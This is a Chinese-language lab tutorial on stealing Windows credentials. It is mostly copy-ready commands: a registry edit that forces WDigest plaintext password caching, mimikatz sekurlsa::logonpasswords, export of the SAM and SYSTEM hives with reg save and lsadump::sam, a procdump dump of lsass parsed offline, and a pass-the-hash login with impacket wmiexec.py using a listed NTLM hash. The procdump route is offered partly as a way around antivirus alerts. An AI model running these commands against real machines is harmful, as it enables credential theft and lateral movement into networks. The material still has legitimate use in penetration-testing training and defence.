mimikatz
一、介绍
二、修改注册表抓取明文密码
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
重启或用户重新登录后可以成功抓取
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
先修改注册表,让内存缓存中可以保存明文密码
然后修改一下密码,win10虚拟机之前没有密码,新密码为123456
紧接着需要重新启动
然后使用mimikatz工具
提升权限: privilege::debug
抓取密码: sekurlsa::logonpasswords
可以看到成功抓取到了用户的账户密码和主机名称
三、reg save 导出NTLM hash值
上面抓取明文密码的实验中,我们修改注册表的时候,会发现报毒,因为我们这属于不正规操作
因此我们可以通过另一种方法来登录
上面抓取密码的时候,这里有一项,NTLM值
NTLM可以把它当作明文密码使用,只要获取了这个NTLM的hash值,就相当于获取了明文密码
那么怎么获取这个NTLM hash值?
我们可以通过导出SAM表的数据,然后用mimikatz工具提取hash的方法
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save 可以将注册表保存到本地
然后通过mimikatz工具,输入以下命令提取NTLM hash值
lsadump::sam /sam:SAM /system:SYSTEM
得到NTLM hash之后,可以使用pth攻击登录,pth===>pass the hash attack
四、Procdump+Mimikatz获取NTLM hash值
当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe
原理就是使用procdump 导出lsass.exe程序中的内存,再使用mimikatz 读取对应的ntlm值,当然这个mimikatz工具是在本地搭建的,并不是目标主机上
将lsass.dmp下载到本地后,然后执行mimikatz
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
为了方便复制与查看,可以输出到本地文件里面
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > password.txt
可以看到password.txt文件里面获取到了NTLM hash值,密码有时候能获取到,有时候获取不到,但是我们主要是要NTLM hash值,NTLM可以当作明文密码使用
五、pth攻击
关于如何使用NTLM hash值登录,这点其实主要使用在域的横向移动那里
具体可以去看我写的域那篇文章的横向移动部分
这里只是稍微说下
pth ===> pass the hash pth 攻击
先让主机加入一个域
然后利用impacket-0.9.22工具包,按照下面命令运行
apt-get python3-pip
cd /home/kali/Desktop/impacket-0.9.22/
python3 -m pip install .
cd examples/
python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.11.140
使用NTLM hash值成功登录